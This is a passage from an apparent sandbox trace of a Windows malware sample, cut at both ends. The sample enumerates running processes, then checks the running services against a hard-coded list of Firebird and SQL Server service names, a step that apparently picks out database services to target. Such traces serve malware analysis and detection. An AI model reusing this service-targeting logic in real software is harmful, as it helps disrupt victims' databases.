szExeFile="petitionswapdame.exe")) returned 1 [0106.754] lstrlenW (lpString="petitionswapdame.exe") returned 20 [0106.754] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xce4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="quantum-appeals-das.exe")) returned 1 [0106.755] lstrlenW (lpString="quantum-appeals-das.exe") returned 23 [0106.755] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="powers mixture.exe")) returned 1 [0106.755] lstrlenW (lpString="powers mixture.exe") returned 18 [0106.755] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="federation-customs-denial.exe")) returned 1 [0106.756] lstrlenW (lpString="federation-customs-denial.exe") returned 29 [0106.756] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="bachelor.exe")) returned 1 [0106.757] lstrlenW (lpString="bachelor.exe") returned 12 [0106.757] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wrist-exhaust-wires.exe")) returned 1 [0106.758] lstrlenW (lpString="wrist-exhaust-wires.exe") returned 23 [0106.758] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="indication wage paying.exe")) returned 1 [0106.759] lstrlenW (lpString="indication wage paying.exe") returned 26 [0106.759] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="thee pub emission.exe")) returned 1 [0106.760] lstrlenW (lpString="thee pub emission.exe") returned 21 [0106.760] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0106.761] lstrlenW (lpString="dllhost.exe") returned 11 [0106.761] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="expenditure_recruitment.exe")) returned 1 [0106.762] lstrlenW (lpString="expenditure_recruitment.exe") returned 27 [0106.762] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="compiler_transportation.exe")) returned 1 [0106.763] lstrlenW (lpString="compiler_transportation.exe") returned 27 [0106.763] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x668, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="upgrading.exe")) returned 1 [0106.764] lstrlenW (lpString="upgrading.exe") returned 13 [0106.764] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="opened_conservative_warnings.exe")) returned 1 [0106.765] lstrlenW (lpString="opened_conservative_warnings.exe") returned 32 [0106.765] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="russell.exe")) returned 1 [0106.766] lstrlenW (lpString="russell.exe") returned 11 [0106.766] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfa4, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0106.767] lstrlenW (lpString="conhost.exe") returned 11 [0106.767] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xf84, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0106.768] lstrlenW (lpString="conhost.exe") returned 11 [0106.768] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0106.768] lstrlenW (lpString="svchost.exe") returned 11 [0106.769] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="1csrss.exe")) returned 1 [0106.817] lstrlenW (lpString="1csrss.exe") returned 10 [0106.817] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0106.818] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0106.818] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x540, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0106.819] lstrlenW (lpString="conhost.exe") returned 11 [0106.819] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xff4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0106.820] lstrlenW (lpString="cmd.exe") returned 7 [0106.820] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd98, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0106.821] lstrlenW (lpString="conhost.exe") returned 11 [0106.821] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd98, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0106.822] CloseHandle (hObject=0x27c) returned 1 [0106.822] Sleep (dwMilliseconds=0x1f4) [0107.388] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x5ee980 [0107.389] EnumServicesStatusExW (in: hSCManager=0x5ee980, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0) returned 0 [0107.389] GetLastError () returned 0xea [0107.389] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1dba) returned 0x60fb70 [0107.389] EnumServicesStatusExW (in: hSCManager=0x5ee980, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x60fb70, cbBufSize=0x1dba, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x60fb70, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0) returned 1 [0107.390] CloseServiceHandle (hSCObject=0x5ee980) returned 1 [0107.390] lstrlenW (lpString="Appinfo") returned 7 [0107.390] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0107.391] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0107.391] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0107.391] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0107.391] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0107.391] lstrlenW (lpString="AppXSvc") returned 7 [0107.391] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0107.391] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0107.391] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0107.391] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0107.391] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0107.391] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0107.391] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0107.391] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0107.391] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0107.391] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0107.391] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0107.391] lstrlenW (lpString="Audiosrv") returned 8 [0107.391] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0107.391] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0107.391] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0107.391] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0107.391] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0107.391] lstrlenW (lpString="BFE") returned 3 [0107.391] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0107.391] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0107.391] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0107.391] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0107.392] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0107.392] lstrlenW (lpString="BITS") returned 4 [0107.392] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0107.392] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0107.392] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0107.392] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0107.392] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0107.392] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0107.392] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0107.392] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0107.392] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0107.392] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0107.392] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0107.392] lstrlenW (lpString="CDPSvc") returned 6 [0107.392] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0107.392] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0107.392] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0107.392] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0107.392] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0107.392] lstrlenW (lpString="ClickToRunSvc") returned 13 [0107.392] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0107.392] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0107.392] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0107.392] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0107.392] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0107.392] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0107.392] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0107.393] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0107.393] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0107.393] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0107.393] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0107.393] lstrlenW (lpString="CryptSvc") returned 8 [0107.393] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0107.393] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0107.393] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0107.393] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0107.393] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0107.393] lstrlenW (lpString="DcomLaunch") returned 10 [0107.393] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0107.393] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0107.393] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0107.393] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0107.393] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0107.393] lstrlenW (lpString="DeviceAssociationService") returned 24 [0107.393] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0107.393] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0107.393] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0107.393] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0107.393] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0107.393] lstrlenW (lpString="Dhcp") returned 4 [0107.393] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0107.393] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0107.393] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0107.393] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0107.394] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0107.394] lstrlenW (lpString="Dnscache") returned 8 [0107.394] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0107.394] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0107.394] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0107.394] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0107.394] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0107.394] lstrlenW (lpString="DoSvc") returned 5 [0107.394] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0107.394] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0107.394] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0107.394] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0107.394] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0107.394] lstrlenW (lpString="DPS") returned 3 [0107.394] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0107.394] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0107.394] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0107.394] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0107.394] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0107.394] lstrlenW (lpString="DusmSvc") returned 7 [0107.394] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0107.395] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0107.395] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0107.395] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0107.395] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0107.395] lstrlenW (lpString="EventLog") returned 8 [0107.395] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0107.395] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0107.395] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0107.395] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0107.395] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0107.395] lstrlenW (lpString="EventSystem") returned 11 [0107.395] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0107.395] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0107.395] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0107.395] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0107.395] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0107.395] lstrlenW (lpString="FontCache") returned 9 [0107.395] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0107.395] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0107.395] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0107.395] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0107.395] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0107.395] lstrlenW (lpString="gpsvc") returned 5 [0107.395] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0107.395] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0107.395] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0107.396] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0107.396] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0107.396] lstrlenW (lpString="iphlpsvc") returned 8 [0107.396] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0107.396] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0107.396] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0107.396] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0107.396] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0107.396] lstrlenW (lpString="KeyIso") returned 6 [0107.396] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0107.396] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0107.396] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0107.396] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0107.396] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0107.396] lstrlenW (lpString="LanmanServer") returned 12 [0107.396] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0107.396] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0107.396] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0107.396] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0107.396] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0107.396] lstrlenW (lpString="LanmanWorkstation") returned 17 [0107.396] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0107.396] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0107.396] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0107.396] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0107.396] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0107.396] lstrlenW (lpString="lfsvc") returned 5 [0107.397] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0107.397] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0107.397] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0107.397] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0107.397] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0107.397] lstrlenW (lpString="lmhosts") returned 7 [0107.397] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0107.397] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0107.397] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0107.397] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0107.397] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0107.397] lstrlenW (lpString="LSM") returned 3 [0107.397] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0107.397] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0107.397] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0107.397] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0107.397] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0107.397] lstrlenW (lpString="MapsBroker") returned 10 [0107.397] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0107.397] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0107.397] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0107.397] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0107.397] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0107.397] lstrlenW (lpString="MpsSvc") returned 6 [0107.397] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0107.397] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0107.397] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0107.398] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0107.398] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0107.398] lstrlenW (lpString="NcbService") returned 10 [0107.398] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0107.398] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0107.398] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0107.398] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0107.398] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0107.398] lstrlenW (lpString="netprofm") returned 8 [0107.398] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0107.398] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0107.398] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0107.398] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0107.398] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0107.398] lstrlenW (lpString="NgcSvc") returned 6 [0107.398] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0107.398] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0107.398] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0107.398] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0107.398] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0107.398] lstrlenW (lpString="NlaSvc") returned 6 [0107.398] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0107.398] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0107.398] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0107.398] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0107.398] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0107.398] lstrlenW (lpString="nsi") returned 3 [0107.399] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0107.399] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0107.399] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0107.399] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0107.399] 